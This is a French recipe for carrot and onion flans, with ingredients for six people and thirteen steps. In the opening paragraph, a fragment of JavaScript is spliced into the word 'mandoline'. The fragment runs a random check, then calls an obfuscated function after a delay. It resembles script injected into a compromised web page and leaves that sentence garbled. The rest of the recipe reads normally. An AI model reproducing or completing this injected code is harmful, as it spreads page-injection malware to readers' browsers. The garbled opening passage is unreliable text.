Flans aux carottes et aux oignons

2021-03-18

Pelez, émincez les carottes et les oignons avec une mandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andoline. Dans une cocotte avec 2 cuillères à soupe d’huile d’arachide sur feu vif, faites revenir les oignons sans s’arrêter de remuer, pendant quelques minutes. Salez, poivrez.

Ingrédients

  • Pour 6 personnes
  • 500 g de carottes
  • 600 g d'oignons
  • 60 g de beurre
  • 6 œufs entiers
  • 70 g de farine
  • 4 dl de lait
  • Quelques pincées de noix de muscade
  • 1 cuillère 1/2 à soupe de crème fraîche épaisse
  • 1 brin de thym
  • Sel - Poivre du moulin

Préparation de la recette

Etape 1

Pelez, émincez les carottes et les oignons avec une mandoline.

Etape 2

Dans une cocotte avec 2 cuillères à soupe d'huile d'arachide sur feu vif, faites revenir les oignons sans s'arrêter de remuer, pendant quelques minutes.

Etape 3

Salez, poivrez.

Etape 4

Dans une autre cocotte avec 2 cuillères à soupe d'huile d'arachide, sur feu vif, faites cuire les carottes, pendant 20 minutes.

Etape 5

Quand les carottes sont tendres, mélangez-les avec les oignons.

Etape 6

Répartissez / carottes / oignons / dans un plat à gratin.

Etape 7

Battez les œufs énergiquement avec une pincée de sel fin.

Etape 8

Incorporez la farine, la crème fraîche, le lait, le brin de thym, salez, poivrez.

Etape 9

Versez ce mélange sur les carottes et les oignons.

Etape 10

Préchauffez le four à 180° C thermostat 6.

Etape 11

Enfournez et faites cuire pendant 30 minutes.

Etape 12

Vérifiez la cuisson.

Etape 13

Sortez le flan de carottes du four et dégustez avec une viande de votre choix, ou pas !

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